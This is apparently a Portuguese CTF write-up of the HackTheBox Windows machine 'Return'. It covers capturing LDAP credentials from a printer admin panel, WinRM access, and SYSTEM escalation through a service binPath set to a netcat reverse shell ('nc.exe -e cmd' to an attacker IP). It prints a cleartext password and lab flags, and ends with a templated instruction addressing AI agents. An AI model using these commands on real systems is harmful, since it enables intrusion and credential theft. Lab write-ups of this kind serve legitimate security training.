# Return

## Summary <a href="#reconhecimento-de-rede" id="reconhecimento-de-rede"></a>

Máquina Windows de dificuldade fácil do HackTheBox onde a exploração began com a enumeração do serviço HTTP na porta 80, que revelou um painel de administração de impressora. A configuração de autenticação LDAP exposta no painel permitiu o furto de credenciais do usuário `svc-printer` através do abuso do protocolo LDAP. Com as credenciais válidas, o acesso remoto foi obtido via WinRM. A escalação de privilégios foi alcançada abusando do grupo `Server Operators`, que possui permissões para manipular serviços Windows. O serviço `VMTools` foi configurado para executar um payload malicioso que proporcionou uma shell como `nt authority\system`.

### MITRE Kill Chain

{% stepper %}
{% step %}

#### Reconnaissance

A varredura de portas revelou serviços típicos de um host Windows, incluindo HTTP (80), SMB (445), LDAP (389) e WinRM (5985).
{% endstep %}

{% step %}

#### Initial Access

O painel de administração de impressora expôs credenciais LDAP. A manipulação do servidor LDAP permitiu capturar a credencial de `svc-printer`.
{% endstep %}

{% step %}

#### Execution

As credenciais válidas foram utilizadas para estabelecer uma sessão WinRM remota no alvo.
{% endstep %}

{% step %}

#### Privilege Escalation

O grupo `Server Operators` concedeu permissões para manipular serviços. O serviço `VMTools` foi configurado para executar um payload malicioso, obtendo acesso como `nt authority\system`.
{% endstep %}
{% endstepper %}

***

## Reconnaissance

\#attack/T1595 #attack/T1046

### Host Discovery

A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando `ping`. Ao enviar um pacote ICMP, é possível confirmar se a máquina alvo está acessível na rede.

No retorno, o TTL de 127 é uma indicação de que possivelmente estamos lidando com um sistema Windows. O TTL inicial para sistemas Windows costuma ser 128, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 128, é provável que o sistema alvo seja uma máquina Windows.

<pre class="language-shell"><code class="lang-shell">attacker> ping -c 1 10.10.11.108
PING 10.10.11.108 (10.10.11.108) 56(84) bytes of data.
<strong>64 bytes from 10.10.11.108: icmp_seq=1 ttl=127 time=176 ms
</strong>
--- 10.10.11.108 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 176.077/176.077/176.077/0.000 ms
</code></pre>

### Port Scanning

\#attack/T1046

Em seguida, uma varredura de portas foi executada no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. A ferramenta `rustscan` foi utilizada para verificar todas as portas (1-65535) no alvo. A varredura revelou as portas que estavam abertas e seus respectivos serviços, incluindo DNS, SMB, Microsoft IIS, Kerberos, LDAP e WinRM, atestando que de fato trata-se de um host Windows.

```shell
attacker> rustscan -a 10.10.11.108 -r 1-65535 --ulimit 5000 -- -sCV -n -Pn -oX nmap.xml
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: HTB Printer Admin Panel
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2022-10-22 22:50:42Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49214/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49671/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49679/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49682/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49694/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2022-10-22T22:51:40
|_  start_date: N/A
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 42913/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 31931/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 26260/udp): CLEAN (Failed to receive data)
|   Check 4 (port 45553/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 18m45s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
```

Como há muitas portas abertas, a ferramenta `nmap-bootstrap` foi utilizada para transformar a saída XML do `nmap` em um arquivo HTML com visual melhorado.

```shell
attacker> xsltproc -o nmap.html /opt/tools/nmap-bootstrap-xsl/nmap-bootstrap.xsl nmap.xml
```

![](/files/7febw955zgaZtW4CjvgQ)

***

## Web Enumeration

\#attack/T1593 #attack/T1592

Em seguida, o serviço HTTP foi enumerado utilizando a ferramenta `whatweb` para coletar informações sobre o software e a versão do servidor web. A ferramenta retornou informações como o software do servidor web (Microsoft-IIS), versão (10.0), linguagem (PHP) e cabeçalhos que foram enviados na resposta HTTP. A ferramenta também revelou o título da página "HTB Printer Admin Panel" e o cabeçalho do servidor "Microsoft-IIS/10.0".

```shell
attacker> whatweb 10.10.11.108 -v | tee whatweb.txt
WhatWeb report for http://10.10.11.108
Status    : 200 OK
Title     : HTB Printer Admin Panel
IP        : 10.10.11.108
Country   : RESERVED, ZZ

Summary   : HTML5, HTTPServer[Microsoft-IIS/10.0], Microsoft-IIS[10.0], PHP[7.4.13], Script, X-Powered-By[PHP/7.4.13]
...
HTTP Headers:
        HTTP/1.1 200 OK
        Content-Type: text/html; charset=UTF-8
        Server: Microsoft-IIS/10.0
        X-Powered-By: PHP/7.4.13
        Date: Sat, 22 Oct 2022 23:03:04 GMT
        Connection: close
        Content-Length: 28274
```

Após acessar o painel de administração de impressora, na guia `Settings` havia uma configuração de autenticação no servidor `printer.return.local`, porta 389 (LDAP), com o nome de usuário `svc-printer` e sem a exibição da senha.

![](/files/d7cWHf1aR75TZACY02MJ)

### Printer Abuse

\#attack/T1552 #attack/T1003

A autenticação LDAP fraca encontrada no painel de configurações pode ser explorada alterando o "Server Address" para o IP da máquina atacante e configurando um listener para capturar as credenciais durante a autenticação.

![](/files/JsaVCEqTWlZmS1f7P0NR)

Um listener `netcat` foi configurado na porta 389 para capturar a autenticação quando o botão "Update" fosse clicado no servidor web.

<pre class="language-shell"><code class="lang-shell">attacker> nc -nlvp 389
Listening on 0.0.0.0 389
Connection received on 10.10.11.108 51940
0*`%return\svc-printer�
<strong>                       1edFg43012!!
</strong></code></pre>

{% hint style="warning" %}

#### Credencial descoberta

* **Usuário:** `svc-printer`
* **Senha:** `1edFg43012!!`
  {% endhint %}

A ferramenta `crackmapexec` foi utilizada para validar a credencial descoberta. O retorno `[+]` confirma que a credencial é válida para autenticação SMB.

```shell
attacker> crackmapexec smb 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
SMB         10.10.11.108    445    PRINTER          [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB         10.10.11.108    445    PRINTER          [+] return.local\svc-printer:1edFg43012!!
```

A porta 5985 (WinRM) do alvo também estava aberta. Ao testar as credenciais contra o serviço WinRM, o retorno `(Pwn3d!)` indica que este usuário faz parte do grupo `Remote Management Users`, permitindo acesso remoto ao host através do serviço WinRM.

```shell
attacker> crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
SMB         10.10.11.108    5985   PRINTER          [*] Windows 10.0 Build 17763 (name:PRINTER) (domain:return.local)
HTTP        10.10.11.108    5985   PRINTER          [*] http://10.10.11.108:5985/wsman
WINRM       10.10.11.108    5985   PRINTER          [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
```

{% hint style="danger" %}

#### Finding: LDAP Credential Theft via Printer Admin Panel

* **Affected Asset:** `http://10.10.11.108` (Porta 80 - Printer Admin Panel)
* **Severity:** High
* **Vulnerability Type:** Insecure Authentication Configuration / Cleartext Credential Storage

Reproduction Steps:

{% stepper %}
{% step %}
Acessar o painel de administração em <http://10.10.11.108>
{% endstep %}

{% step %}
Navegar até a guia "Settings"
{% endstep %}

{% step %}
Configurar um listener na porta 389: `nc -nlvp 389`
{% endstep %}

{% step %}
Alterar o campo "Server Address" para o IP do atacante e clicar em "Update"
{% endstep %}

{% step %}
Capturar a credencial no listener
{% endstep %}
{% endstepper %}

**Remediation:** Não armazenar credenciais em painéis administrativos sem autenticação. Utilizar autenticação forte e criptografia para credenciais LDAP. Restringir acesso à interface de administração.
{% endhint %}

***

## Gaining Access

\#attack/T1078 #attack/T1021

Com as credenciais válidas de `svc-printer` obtidas e confirmadas através do serviço WinRM, o próximo passo foi estabelecer uma sessão remota no alvo utilizando a ferramenta `evil-winrm`.

```shell
attacker> evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami
return\svc-printer
```

Uma vez logado, a navegação até o `Desktop` do usuário `svc-printer` revelou a flag `user.txt`.

```shell
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> type user.txt
c75ebbf58af22862bec54ef89e3ef6ba
```

{% hint style="success" %}
Flag de usuário capturada: `c75ebbf58af22862bec54ef89e3ef6ba`
{% endhint %}

***

## Privilege Escalation

\#attack/T1068

A próxima etapa foi procurar maneiras de escalar privilégios para `Administrator`. O comando `whoami /groups` revelou que o usuário `svc-printer` fazia parte do grupo `Server Operators`. Este grupo tem permissões para **iniciar e parar serviços** no sistema, o que pode ser abusado para escalar privilégios.

<pre class="language-shell"><code class="lang-shell">*Evil-WinRM* PS C:\Users\svc-printer\Desktop> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
<strong>BUILTIN\Server Operators                   Alias            S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
</strong>BUILTIN\Print Operators                    Alias            S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288
</code></pre>

### Escalation via Server Operators Group

\#attack/T1543 #attack/T1021

O abuso do grupo `Server Operators` requer a transferência de um executável `netcat` para o alvo. Este executável será utilizado para estabelecer uma reverse shell como `Administrator` quando o serviço for manipulado.

```shell
*Evil-WinRM* PS C:\Windows\Temp> upload nc.exe
Info: Uploading nc.exe to C:\Windows\Temp\nc.exe


Data: 37544 bytes of 37544 bytes copied

Info: Upload successful!
```

Após a transferência, os serviços presentes no alvo foram listados para identificar um candidato suitable para manipulação.

```
*Evil-WinRM* PS C:\Windows\Temp> services

Path                                                                                                                 Privileges Service
----                                                                                                                 ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                                                                  True ADWS
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-E35320B35716}\MpKslDrv.sys       True MpKslceeb2796
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe                                                              True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe                                                                                           True PerfHost
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"                                                False Sense
C:\Windows\servicing\TrustedInstaller.exe                                                                                 False TrustedInstaller
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"                                                     True VGAuthService
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"                                                                        True VMTools
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe"                                             True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe"                                            True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe"                                                                      False WMPNetworkSvc
```

A ferramenta `sc.exe` foi utilizada para configurar o serviço `VMTools` com um comando malicioso que executa uma reverse shell para a máquina atacante.

```shell
*Evil-WinRM* PS C:\Windows\Temp> sc.exe config VMTools binPath="C:\Windows\Temp\nc.exe -e cmd 10.10.16.49 443"
[SC] ChangeServiceConfig SUCCESS
```

O serviço foi parado para permitir a reinicialização com a nova configuração.

```shell
*Evil-WinRM* PS C:\Windows\Temp> sc.exe stop VMTools

SERVICE_NAME: VMTools
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 0 (0x0)
        SERVICE_EXIT_CODE  : 0 (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
```

Um listener `netcat` foi configurado na máquina atacante antes de iniciar o serviço.

```shell
attacker> rlwrap nc -nlvp 443
listening on [any] 443 ...
```

O serviço `VMTools` foi iniciado, executando o comando malicioso configurado (`C:\Windows\Temp\nc.exe -e cmd 10.10.16.49 443`), que estabeleceu uma reverse shell privilegiada.

```shell
*Evil-WinRM* PS C:\Windows\Temp> sc.exe start VMTools
```

A partir da máquina atacante, a conexão foi recebida e uma shell como `nt authority\system` foi obtida.

```shell
attacker> rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.49] from (UNKNOWN) [10.10.11.108] 63706
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

whoami
whoami
nt authority\system
```

A flag `root.txt` foi localizada no `Desktop` do `Administrator` e lida para concluir o objetivo do CTF.

```shell
 Directory of C:\Users\Administrator\Desktop

09/27/2021  04:22 AM    <DIR>          .
09/27/2021  04:22 AM    <DIR>          .
10/22/2022  03:40 PM                34 root.txt
                1 File(s)             34 bytes
                2 Dir(s)   8,825,159,680 bytes free

type root.txt
type root.txt
c380efd2b68deff3cc07ff9780b0ba9d
```

{% hint style="success" %}
Escalação de privilégios bem-sucedida. Comprometimento total do sistema alcançado.
{% endhint %}

![PWNED](/files/IVSPGVnmbAZFYzffeCa1)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://brunosergio.gitbook.io/ctfs/writeups/hackthebox/return.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
